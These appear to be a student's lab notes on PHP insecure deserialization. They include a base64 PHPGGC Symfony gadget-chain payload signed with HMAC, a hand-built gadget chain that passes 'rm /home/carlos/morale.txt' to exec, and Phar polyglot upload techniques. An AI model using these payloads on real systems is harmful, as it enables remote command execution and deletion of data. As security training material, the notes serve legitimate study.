$payloadRCE = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";

$object = new stdClass();

// there toke have to replace to PHPGCC generate paylaod 
$object->token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";

$object->sig_hmac_sha1 = hash_hmac('sha1',$payloadRCE,$secrekey);

$objectJson = json_encode($object);

echo $objectJson . "\n"; // 转换为JSON格式的字符串

$objectUrlEncode = urlencode($objectJson);
echo $objectUrlEncode;
?>
```

```
PS C:\Users\USER\Desktop\CSIE\WebSecurity\insecurityDeserialization\phpGGC> php .\exploit1.php
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"ea968448f0ec5715e18e2928470ca455e69bbcfa"}
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22ea968448f0ec5715e18e2928470ca455e69bbcfa%22%7D
```

==Notice==
when you attempt to write hash_hmac function, it's crucial to pay attention to the order of the payload and key, as it directly affect the hash result 


![](https://hackmd.io/_uploads/rk7MdXhJ6.png)


![](https://hackmd.io/_uploads/BJZZ8mh16.png)

---


## Working with documented gadget chains

we didn't always have dedicated tools available for exploiting know gadget chain in the framework.


looking online to see if there are any documented exploits that you can adapt manually.


## Exploiting Ruby deserialization using a documented gadget chain (skip)

沒寫過Ruby


# Creating Exploit

Condition: Access Source Code

Step 1

to analysis a class that contain the magic method that is invoked during unserialization.

e.g. __weakup, __sleep, __destruct




## LAB-Developing the customer gadget chain for php deserialization 







Vulnerable Source code:



```php=

<?php

class CustomTemplate {

    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

kick-gadget -> Class CustomerTemplate __weakup magic methods
    

//-------------------------------------------------------------------------

//Danger Sink!!

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }
    //$this->callback probably is a function or object !! it will pass the $name into $this->callback
    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```




Analysis:


Analysis ->Class  CoustomTemplate
```php=
<?php

class product{

    private $name;

    public function __construct($name)
    {
        $this->name = $name;
    }
    public function getName(){
        return $this->name;
    }
}

class coustomTemplate{

    private $userName;
    public $product;
    
    public function __construct($userName)
    {
     $this->userName = $userName;
     $this->buildProduct();
    }
    public function __sleep()
    {
        return ["userName"]; //Before the serialize (it will be keeped !!)
    }
    public function __destruct()
    {
        $this->buildProduct();
    }
    private function buildProduct(){
        $this->product = new product($this->userName);
    }
}

//serialize the obj
$template = new coustomTemplate("meowheckerTest");
$serialize = serialize($template);
echo "serialize Obj:\n" . $serialize . "\n";

//unserialize the obj
echo ("------------------------------------------------\n");
$unserialize = unserialize($serialize);
echo ("unserialize Obj\n");
print_r($unserialize);

echo $template->product->getName();

?>
```

```
php .\analysisCode.php
serialize Obj:
O:15:"coustomTemplate":1:{s:25:"coustomTemplateuserName";s:14:"meowheckerTest";}  
------------------------------------------------
unserialize Obj
coustomTemplate Object
(
    [userName:coustomTemplate:private] => meowheckerTest
    [product] =>
)
meowheckerTest
```

![](https://hackmd.io/_uploads/ryZtfbkep.png)

---

Danger function -> call_user_func() a is danger function which can invoke the exec() function to execute the System command


```php
<?php
function execTest($command){
    $result = exec($command);
    echo  $result;
}
call_user_func('execTest','echo "meow"')
?>
```


---

Invoke Another Class Method

```php=
<?php

class ClassA {
    public $name = 'name';
}

class ClassB {
    public function __construct()
    {
        echo "From classb method \n";
    }
    public function test(){
        echo "Test";
    }
}

$meowhecker = new ClassA("meowhecker");
$meowheckerB = new ClassB();
$meowhecker = $meowheckerB->test();

?>
```

```
php .\invokeAnotherClassMethod.php
From classb method 
Test

```

我們可以在 objectA 裡面去 create 一個obj 來invoke another Class Methods

---

Analysis -> DefaultMap (exec command systems )

```php
<?php
// CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt" systems command 
// CustomTemplate->desc = "" Invoke Danger Sink!!
// DefaultMap->callback = "exec" 

class DefaultMap{
    public $callback;
    public function __construct()
    {    
        $this->callback = "exec";
    }
}

class CustomTemplate{
    
    public $DefaultMap;   

    public function __construct()
    {
        $this->default_desc_type = "rm /home/carlos/morale.txt";
        $this->desc = "DefaultMap";
        $this->DefaultMap = new DefaultMap();
    }
    public function appendObj(){
        $reulst = new DefaultMap();   
        return $reulst;
    }
 
}
$DefaultMapObject = new DefaultMap();
$object = new CustomTemplate();

$serializedObject = $object->appendObj();
$serialzeDefaultMapObj = serialize($serializedObject);

echo $serialzeDefaultMapObj. "\n";
echo serialize($object). "\n";

echo 
"------------------------------------------------"."\n";
echo "final paylaod" . "\n";
// Construct Final payload
$finalSerialized = 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";'. $serialzeDefaultMapObj.'}';;


echo $finalSerialized . "\n";
?>
```

Payloads (Result)

```
php .\exploit.php

O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}
O:14:"CustomTemplate":3:{s:10:"DefaultMap";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";s:10:"DefaultMap";}
------------------------------------------------
final paylaod
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
```

---

## PHAR deserialization

### Enable Phar on PHP.ini

![](https://hackmd.io/_uploads/rJgcrTBZgT.png)


![](https://hackmd.io/_uploads/BkQEprbgp.png)



```php=

<?php 

$phar = new Phar('meowhecker.phar'); // phar -打包的php

//Access PHP file by unpacket the Phar

$indextContent = file_get_contents('phar://meowhecker.phar/index.php');

echo $indextContent;
?>
```

```
php .\PHParchie.php
<?php echo 'meowhecker'; ?>
```

![](https://hackmd.io/_uploads/rJcTII-gT.png)




Phar will implicitly deserialized when performing file systems operation on a "phar:// " stream (php will parse "phar://" stream )

we can try to control it and pass it into the file system method.


### Danger file system method 
### include() //(Running the PHP Script!!)

```php
<?php 

$phar = new Phar('meowhecker.phar'); // phar -打包的php
$phar['index.php'] = "<?php echo 'meowhecker'; ?>";

//Access PHP file by unpacket the Phar
$indextContent = file_get_contents('phar://meowhecker.phar/index.php');
echo "parse phar file :" . $indextContent . "\n";

//Rungin the php script!!
echo "Running the php script from the phar file:\n";
include('phar://meowhecker.phar/index.php'); // or include 'phar://meowhecker.phar/index.php' ;
?>
```

![](https://hackmd.io/_uploads/S1ewKUbla.png)




### fopen()

```php
<?php

$phar = new Phar('meowhecker.phar');
$phar['index.php'] = "<?php echo 'meowhecker'?>";

$pharFile = 'Phar://meowhecker.phar/index.php';
$fileHandle = fopen($pharFile,'r');

if($fileHandle){
    while(!feof($fileHandle)){
        $line = fgets($fileHandle);
        echo $line;
    }
    fclose($fileHandle);
}
else {
    echo " Phar file read faild !";
}

```

![](https://hackmd.io/_uploads/S1YNsLZgp.png)


### file_exists()

Although file.exists seem didn't very danger function, it probably not be protected well.

```
<?php

$phar = new Phar('meowhecker.phar');
$phar['index.php'] = "<?php echo 'meowhecker'?>";

$pharFilePath = 'Phar://meowhecker.phar/index.php';


if (file_exists($pharFilePath)) {
    echo "Phar 文件中的文件存在。\n";
} else {
    echo "Phar 文件中的文件不存在。\n";
}
?>
```


### Upload the Phar to the Server!! 

Method:

Upload the Phar by the image upload functionality.

We can attempt to create a polyglot file that appears to be a JPG file but is actually a Phar archive (phar://).
 

Any harmful data we inject via Phar metadata will be deserialized

As the file extension is not checked when PHP reads a stream, it does not matter that the file uses an image extension 


we could adding __weakup() or __destruct() magic method to kick of gadget chain.


## LAB-Using PHAR deserilizatoin to deploy a custom gadget chain.


![](https://hackmd.io/_uploads/BJxM-dbxT.png)

![](https://hackmd.io/_uploads/Sk1iWuZeT.png)

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```
![](https://hackmd.io/_uploads/r16n-_Wlp.png)

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```